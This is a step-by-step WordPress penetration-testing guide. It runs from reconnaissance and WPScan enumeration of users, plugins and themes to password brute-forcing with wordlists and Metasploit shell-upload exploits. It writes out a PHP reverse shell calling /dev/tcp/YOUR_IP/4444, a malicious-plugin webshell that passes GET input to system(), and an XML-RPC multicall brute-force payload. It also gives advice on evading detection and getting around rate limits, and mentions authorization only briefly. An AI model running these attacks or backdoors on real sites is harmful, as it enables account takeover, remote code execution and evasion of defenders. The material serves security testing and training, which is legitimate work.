Core Workflow

Phase 1: WordPress Discovery

Identify WordPress installations:

# Check for WordPress indicators
curl -s http://target.com | grep -i wordpress
curl -s http://target.com | grep -i "wp-content"
curl -s http://target.com | grep -i "wp-includes"

# Check common WordPress paths
curl -I http://target.com/wp-login.php
curl -I http://target.com/wp-admin/
curl -I http://target.com/wp-content/
curl -I http://target.com/xmlrpc.php

# Check meta generator tag
curl -s http://target.com | grep "generator"

# Nmap WordPress detection
nmap -p 80,443 --script http-wordpress-enum target.com

Key WordPress files and directories:

/wp-admin/ - Admin dashboard

/wp-login.php - Login page

/wp-content/ - Themes, plugins, uploads

/wp-includes/ - Core files

/xmlrpc.php - XML-RPC interface

/wp-config.php - Configuration (not accessible if secure)

/readme.html - Version information

Phase 2: Basic WPScan Enumeration

Comprehensive WordPress scanning with WPScan:

# Basic scan
wpscan --url http://target.com/wordpress/

# With API token (for vulnerability data)
wpscan --url http://target.com --api-token YOUR_API_TOKEN

# Aggressive detection mode
wpscan --url http://target.com --detection-mode aggressive

# Output to file
wpscan --url http://target.com -o results.txt

# JSON output
wpscan --url http://target.com -f json -o results.json

# Verbose output
wpscan --url http://target.com -v

Phase 3: WordPress Version Detection

Identify WordPress version:

# WPScan version detection
wpscan --url http://target.com

# Manual version checks
curl -s http://target.com/readme.html | grep -i version
curl -s http://target.com/feed/ | grep -i generator
curl -s http://target.com | grep "?ver="

# Check meta generator
curl -s http://target.com | grep 'name="generator"'

# Check RSS feeds
curl -s http://target.com/feed/
curl -s http://target.com/comments/feed/

Version sources:

Meta generator tag in HTML

readme.html file

RSS/Atom feeds

JavaScript/CSS file versions

Phase 4: Theme Enumeration

Identify installed themes:

# Enumerate all themes
wpscan --url http://target.com -e at

# Enumerate vulnerable themes only
wpscan --url http://target.com -e vt

# Theme enumeration with detection mode
wpscan --url http://target.com -e at --plugins-detection aggressive

# Manual theme detection
curl -s http://target.com | grep "wp-content/themes/"
curl -s http://target.com/wp-content/themes/

Theme vulnerability checks:

# Search for theme exploits
searchsploit wordpress theme <theme_name>

# Check theme version
curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version
curl -s http://target.com/wp-content/themes/<theme>/readme.txt

Phase 5: Plugin Enumeration

Identify installed plugins:

# Enumerate all plugins
wpscan --url http://target.com -e ap

# Enumerate vulnerable plugins only
wpscan --url http://target.com -e vp

# Aggressive plugin detection
wpscan --url http://target.com -e ap --plugins-detection aggressive

# Mixed detection mode
wpscan --url http://target.com -e ap --plugins-detection mixed

# Manual plugin discovery
curl -s http://target.com | grep "wp-content/plugins/"
curl -s http://target.com/wp-content/plugins/

Common vulnerable plugins to check:

# Search for plugin exploits
searchsploit wordpress plugin <plugin_name>
searchsploit wordpress mail-masta
searchsploit wordpress slideshow gallery
searchsploit wordpress reflex gallery

# Check plugin version
curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt

Phase 6: User Enumeration

Discover WordPress users:

# WPScan user enumeration
wpscan --url http://target.com -e u

# Enumerate specific number of users
wpscan --url http://target.com -e u1-100

# Author ID enumeration (manual)
for i in {1..20}; do
    curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'
done

# JSON API user enumeration (if enabled)
curl -s http://target.com/wp-json/wp/v2/users

# REST API user enumeration
curl -s http://target.com/wp-json/wp/v2/users?per_page=100

# Login error enumeration
curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php

Phase 7: Comprehensive Enumeration

Run all enumeration modules:

# Enumerate everything
wpscan --url http://target.com -e at -e ap -e u

# Alternative comprehensive scan
wpscan --url http://target.com -e vp,vt,u,cb,dbe

# Enumeration flags:
# at - All themes
# vt - Vulnerable themes
# ap - All plugins
# vp - Vulnerable plugins
# u  - Users (1-10)
# cb - Config backups
# dbe - Database exports

# Full aggressive enumeration
wpscan --url http://target.com -e at,ap,u,cb,dbe \
    --detection-mode aggressive \
    --plugins-detection aggressive

Phase 8: Password Attacks

Brute-force WordPress credentials:

# Single user brute-force
wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt

# Multiple users from file
wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt

# With password attack threads
wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50

# XML-RPC brute-force (faster, may bypass protection)
wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc

# Brute-force with API limiting
wpscan --url http://target.com -U admin -P passwords.txt --throttle 500

# Create targeted wordlist
cewl http://target.com -w wordlist.txt
wpscan --url http://target.com -U admin -P wordlist.txt

Password attack methods:

wp-login - Standard login form

xmlrpc - XML-RPC multicall (faster)

xmlrpc-multicall - Multiple passwords per request

Phase 9: Vulnerability Exploitation

Metasploit Shell Upload

After obtaining credentials:

# Start Metasploit
msfconsole

# Admin shell upload
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS target.com
set USERNAME admin
set PASSWORD jessica
set TARGETURI /wordpress
set LHOST <your_ip>
exploit

Plugin Exploitation

# Slideshow Gallery exploit
use exploit/unix/webapp/wp_slideshowgallery_upload
set RHOSTS target.com
set TARGETURI /wordpress
set USERNAME admin
set PASSWORD jessica
set LHOST <your_ip>
exploit

# Search for WordPress exploits
search type:exploit platform:php wordpress

Manual Exploitation

Theme/plugin editor (with admin access):

// Navigate to Appearance > Theme Editor
// Edit 404.php or functions.php
// Add PHP reverse shell:

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
?>

// Or use weevely backdoor
// Access via: http://target.com/wp-content/themes/theme_name/404.php

Plugin upload method:

# Create malicious plugin
cat > malicious.php << 'EOF'
<?php
/*
Plugin Name: Malicious Plugin
Description: Security Testing
Version: 1.0
*/
if(isset($_GET['cmd'])){
    system($_GET['cmd']);
}
?>
EOF

# Zip and upload via Plugins > Add New > Upload Plugin
zip malicious.zip malicious.php

# Access webshell
curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id"

Phase 10: Advanced Techniques

XML-RPC Exploitation

# Check if XML-RPC is enabled
curl -X POST http://target.com/xmlrpc.php

# List available methods
curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php

# Brute-force via XML-RPC multicall
cat > xmlrpc_brute.xml << 'EOF'
<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password1</string></value>

</struct></value>
</data></array></value></param>
</params>
</methodCall>
EOF

curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php

Constraints and Limitations

Legal Considerations

Obtain written authorization before testing

Stay within defined scope

Document all testing activities

Follow responsible disclosure

Technical Limitations

WAF may block scanning

Rate limiting may prevent brute-force

Some plugins may have false negatives

XML-RPC may be disabled

Detection Evasion

Use random user agents: --random-user-agent

Throttle requests: --throttle 1000

Use proxy rotation

Avoid aggressive modes on monitored sites

Troubleshooting

WPScan Shows No Vulnerabilities

Solutions:

Use API token for vulnerability database

Try aggressive detection mode

Check for WAF blocking scans

Verify WordPress is actually installed

Brute-Force Blocked

Solutions:

Use XML-RPC method instead of wp-login

Add throttling: --throttle 500

Use different user agents

Check for IP blocking/fail2ban

Cannot Access Admin Panel

Solutions:

Verify credentials are correct

Check for two-factor authentication

Look for IP whitelist restrictions

Check for login URL changes (security plugins)
